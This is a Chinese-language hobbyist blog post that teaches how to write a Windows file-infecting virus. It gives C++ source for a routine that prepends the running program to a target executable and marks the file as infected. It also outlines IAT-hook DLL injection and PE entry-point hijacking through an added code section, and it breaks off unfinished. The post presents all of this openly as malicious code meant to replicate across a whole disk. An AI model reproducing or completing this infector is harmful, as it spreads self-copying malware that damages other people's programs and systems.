【CPP入坑】简单的几种全盘感染程序以及实现

//不知怎得突然就喜欢上了这些。于是就打算练手了。
//不得不说VS是真的好用,除了对我来说略卡(原因是因为我电脑配置实在低


正文

首先,我们现需要做什么,先罗列出大致步骤

  1. 遍历文件,搜索全盘可执行的exe文件
  2. 在文件中插入我们的恶意代码,并且让恶意代码拥有自动复制的功能
  3. 没了

确实一个全盘感染程序逻辑基本就这么简单。
我们先抛开1,因为1非常好实现。我们就先来说说2的实现方式。


感染方式:文件更添

首先是最LOW但是也是最最最简单的方式。
直接把病毒程序添加到被感染程序的头部,这样别人点击我们的程序时就会优先启动我们的。
当然只填充是不行的,还要让程序正常的执行。
这样就得在我们的程序的时候读取自身。然后寻找第二个MZ标识。
然后把第二个MZ表示写出,或者是在内存中创建映射然后执行。
这样程序就会优先执行我们的感染体,然后再执行咯。
部分代码如下:
Inject.cpp

//cpp
void InjectExec(char *FilePath){
char selfP[128];
int AllSize = 0;
GetModuleFileNameA(NULL, selfP, 128);
char *s1 = ReadF(selfP);//获取自身
int t1 = tmpSize;
char *buffer1 = (char*)malloc((int)tmpSize);//要把函数中的指针的值给取出来,否则会被分配掉
RtlMoveMemory(buffer1,s1,tmpSize);
int tmp =0;
if (buffer1[tmpSize - 1] == *"X"){
    bool x = true;
    do {
        
        if (x == true && buffer1[tmpSize-tmp]==*"X"){
            tmp += 1;
        }
        else{
            x = false;
            break;
        }

    } while (tmp < 5);//连续5次都是X,确认为标识符
    if (x = true){ return; }//已经感染过了,跳过
}
s1 = ReadF(FilePath);//获取被感染文件
int t2= tmpSize;
char *buffer2 = (char*)malloc((int)tmpSize);//同上
RtlMoveMemory(buffer2, s1, tmpSize);
AllSize = t1 + t2 + 5 ;
char *s = (char*)malloc((int)AllSize);
int i, i2,i3;
for (i = 0; i <= t1; i++){s[i] = buffer1[i];}
for (i2 = 0; i2 <= t2; i2++){ s[i + i2] = buffer2[i2]; }
for (i3 = 0; i3 <= 5; i3++){ s[i + i2 + i3] = *"X"; }//添加标识符
WriteF(FilePath,s,AllSize);//写出

}

方法优劣:
简单,快速,缺点就是容易恢复,而且修改面积大(在一个程序中添加了整整另外一个程序,非常容易看出来


感染方式二:IAT HOOK

PE文件结构中有一个是包含导入表,用PEiD就可以看到,包含着这个程序所需要使用的DLL。
我们只需要在这个表中添加我们自带的病毒DLL,就算程序用不引用也行。
这个方案更多用于内存注入而不是全盘感染
因为模块在载入内存空间时会默认引用一个DLL的析构程序,我们只需要把病毒的部分在析构程序中调用即可
著名的lpk.dll病毒虽然不是利用IAT HOOK,但是也是利用IAT表中的引用顺序漏洞,优先引用了本地路径的lpk文件而不是windir目录的,导致同目录Lpk病毒文件得以加载
相关文档:

  1. IAT Hook的原理
  2. API HOOK的 IAT方法

代码如下

//同样懒得写了,过几天再给出CPP的吧,不过我有发过python版本的IAT HOOK 

python-IAT HOOK

方法优劣:
虽然对程序的修改少了,但是在每个目录下都会添加一个dll十分显眼,就算把dll丢到环境变量中,传播时只复制被感染文件不复制dll文件也达不到传播效果了。


感染方案三:PE空隙插入

(前面两个只是正好说的,今天的主菜其实是这个XD
感染方式,就是在PE文件中添加新节,熟悉汇编的都知道,PE文件都分为代码段,数据段等等。
我们只需要修改PE文件,在里面加入一段新节。

1:将添加的代码写到目标PE文件中,可以把这个代码插入原代码所处的的section的空隙中,也可以通过添加一个新的section附在原文件的尾部
2:PE文件原来的入口地址必须被保存在添加的代码中,这样,这段代码执行完以后可以转移到原始文件处执行
3:PE文件头中的入口地址需要被修改,指向新添加代码中的入口地址
4:PE文件头中的一些值需要根据情况做相应的修改,以符合修改后的PE文件的情况。

其中,我们要拥有的技术有什么呢?

  • 编写“病毒代码”
  • 读入原入口点
  • 修改PE文件入口点
  • 添加新section或在section中插入代码
    了解了这些我们就开始吧。

相关文章:

(因为这个是汇编版,所以我得先填坑成CPP版

//未完待续,正在填坑(同时肛舰女人中XD

Tags: 汇编, C++, cpp, win32
    Title - Artist
    0:00